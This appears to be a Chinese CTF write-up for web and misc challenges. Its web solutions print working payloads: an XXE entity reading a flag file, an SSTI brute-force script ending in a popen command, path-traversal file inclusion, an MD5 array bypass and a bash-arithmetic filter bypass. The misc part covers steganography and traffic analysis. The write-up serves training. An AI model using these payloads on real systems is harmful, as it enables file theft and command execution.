WEB
exx
无过滤 xml 注入
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPEa[
<!ENTITY rabbit SYSTEM "file:///flag" >
]><user><username>&rabbit;</username><password>123</password></user>
SAS - Serializing Authentication
入门级反序列化
<?phpclassUser{public$username;public$password;function__construct($username,$password){$this->username=$username;$this->password=$password;}functionisValid(){return$this->username==='admin'&&$this->password==='secure_password';}}?>
直接赋值账号密码即可通过检查,题目会对其 base64 解码,所以传入 base64 加密后的代码
exp:
<?phpclassUser{public$username;public$password;}$a=newUser();$a->username="admin";$a->password="secure_password";echobase64_encode(serialize($a));?># O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"secure_password";}
一个…池子?
尝试输入{{7*7}}回显了 49,证明存在 ssti 注入
{{‘’.class.base.subclasses__()}}可以查询所有子类结果,这里用脚本爆破想要的函数
#post请求
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36'
}
for i in range(501):
url = "xxx"
postPara = {"input":"{{\"\".__class__.__base__.__subclasses__()["+str(i)+"]}}"}
print(i)
res = requests.post(url=url,headers=headers,data=postPara)
if 'os._wrap_close' in res.text: #查找其他命令时就用其他子类
print("be founded in:"+str(i))
break
else:
print("not found")
# 得到编号为137
无过滤,直接拿 flag 即可
Payload:
{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}
浏览器也能套娃?
ssrf,伪协议读取 flag
file:///flag
高亮主题(划掉)背景查看器
<?php// 文件包含漏洞演示if(isset($_GET['url'])){// 读取并包含用户输入的文件$file=$_GET['url'];if(strpos($file,'..')===false){include$file;}else{echo"Access denied.";}}else{echo"No file specified.";}?>
无过滤文件包含,路径穿越直接读取
payload:
post:
theme=../../../../../../flag
百万美元的诱惑
<?phperror_reporting(0);$a=$_GET['a'];$b=$_GET['b'];$c=$_GET['c'];if($a!==$b&&md5($a)==md5($b)){if(!is_numeric($c)&&$c>2024){echo"好康的";}else{die("干巴爹干巴爹先辈~");}}else{die("开胃小菜))");}
abc 都可以采用数组绕过,payload:
?a[]=1&b[]=2&c[]=3
拿到并访问 dollar.php,发现需要绕过过滤构造出 12
<?php//flag in 12.phperror_reporting(0);if(isset($_GET['x'])){$x=$_GET['x'];if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i",$x)){system("cat ".$x.".php");}}else{highlight_file(__FILE__);}?>
在 linux 的终端中,输入
(
(
)
)
可以构造出
0
,再进行取反
(())可以构造出0,再进行取反
(())可以构造出0,再进行取反((~$(())))就可以构造出-1,其原理是对其二进制取反,00000000->0 取反则变成 11111111->-1
我们再将两个-1 合在一起并取反则是 ~(-2)->1
即
(
(
((~
(( ((
(
(
((~
(( (())))
(
(
((~
(( (())))))))
由此我们可以构造出任意的数字,这里的 12 可以是对-13 取反为 12,
也可以是-2 取反和-3 取反之后合并为 12,这里我使用后者
预期 payload:
?x=$((~$(($(($((~$(())))$((~$(())))))))))$((~$(($((~$(())))$(($((~$(())))$((~$(())))))))))
题目描述已经把预期 paylaod 字符全给了,其他姿势就请自行搜索了 0.0
姬宝的好东西->https://github.com/ProbiusOfficial/bashFuck
MISC
涐贪恋和伱、甾―⑺dé 毎兮毎秒
lsb 隐写最低位
你说的对,但__
拿到附件 binwalk 分离出多张图片
拼好扫描得到 flag
The love
拿到一个图片和一个音频文件
图片 binwalk 分离出压缩包,文件名处得到 hint:Litctf???ftclit
6 位纯数字密码爆破,带上头尾即可
解压压缩包拿到假 flag 和一个 base64 加密的 password
deepsound 解密得到真 flag
舔到最后应有尽有
base64 隐写,羊驼梭
女装照流量
tcp.stream eq 28 拿到 flag.php 的加密压缩包
随后在 tcp.stream eq 26 处找到密码
最后两行删掉"参数名,&,="后 base64 解密
解压后得到 flag
Every Where We Go
flag 直接放在了频谱图里,使用 Adobe 的 AU 或者 audacity 等查看频谱图即可
盯帧珍珠
古有盯裆猫咪,今有盯帧珍珠
题目名及描述提示表明是 gif 图片并且要注意观察每一帧
也可以通过文件大小,文件头,file 命令等知道是 GIF 图片
先改后缀名为 GIF,后发现动画中有几帧的 flag 片段
使用 stegsolve,在线网站或脚本等逐帧提取对应 flag 片段图片,拼好 flag 即可
原铁,启动!
题目描述:这都是什么通用文字呢?
题目名称得到信息: 原神崩铁
题目描述得到信息:通用字体
搜索引擎开搜即可
https://draugus.github.io/genshin/language
提瓦特通用字体
https://starrail.huijiwiki.com/wiki/%E6%96%87%E5%AD%97%E5%AF%B9%E7%85%A7%E8%A1%A8
崩铁宇宙通用文
关键,太关键了
题目描述:好像某些字符出现的频率很高哦
题目名称得到信息: 关键字加密
题目描述得到信息:字频统计
对 key.txt 的大量字符串进行字频统计得到 key:bingo
关键字解密 flag.txt 即可得到 flag
版权归原作者 Nanian233 所有, 如有侵权,请联系我们删除。